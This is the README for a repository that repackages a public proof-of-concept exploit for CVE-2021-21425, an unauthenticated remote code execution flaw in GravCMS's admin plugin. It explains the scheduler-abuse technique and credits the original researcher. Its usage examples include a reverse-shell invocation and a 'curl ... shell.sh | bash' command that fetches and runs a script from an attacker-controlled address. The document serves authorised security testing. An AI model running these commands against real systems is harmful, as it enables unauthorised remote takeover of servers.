CVE-2021-21425 - GravCMS Unauthenticated RCE

Improved proof-of-concept for CVE-2021-21425, an unauthenticated Remote Code Execution vulnerability in GravCMS <= 1.10.7 via arbitrary YAML write to the scheduler.

Credit

This is derivative work. The vulnerability and the original exploit are not mine.

What this version changes

The original EDB-49973 requires manually editing hardcoded values in the script. This version adds:

• Command-line arguments for target, LHOST, LPORT
• Automatic base64 encoding of the reverse shell payload
• Custom command support (-c)
• Error handling and status output

These are usability changes to an existing exploit. No vulnerability research is claimed.

Vulnerability

The Grav Admin plugin fails to verify authentication on certain admin routes, allowing unauthenticated users to write arbitrary YAML configuration. This exploit abuses the scheduler configuration to create a cron job that executes arbitrary PHP code.

Usage

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Custom command
python3 exploit.py -t http://target -c "id"

Examples

# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Requirements

pip install requests

How It Works

1. Fetches /admin to extract the admin-nonce token (no auth required due to vulnerability)
2. Sends POST to /admin/config/scheduler with malicious cron job configuration
3. Scheduler executes PHP payload via /usr/bin/php -r eval(base64_decode(...))
4. PHP writes base64-decoded reverse shell to /tmp/rev.sh and executes it

The cron job runs every minute (* * * * *), so shell arrives within 60 seconds.

Timeline

• 2021-03-18 - Vulnerability found by Mehmet Ince during a penetration test
• 2021-03-29 - Disclosed
• 2021-04-01 - Patched in Grav Admin Plugin 1.10.8

References

• NVD Entry
• GitHub Security Advisory GHSA-6f53-6qgv-39pj
• Original writeup by Mehmet Ince (Pentest Blog)
• Original PoC - Exploit-DB EDB-49973

Licence

MIT, applying only to the modifications in this repository. The upstream PoC carries no licence, so it remains all rights reserved by its author. See LICENSE for the full attribution notice.

Disclaimer

For authorized security testing only. Ensure you have written permission before testing against any system.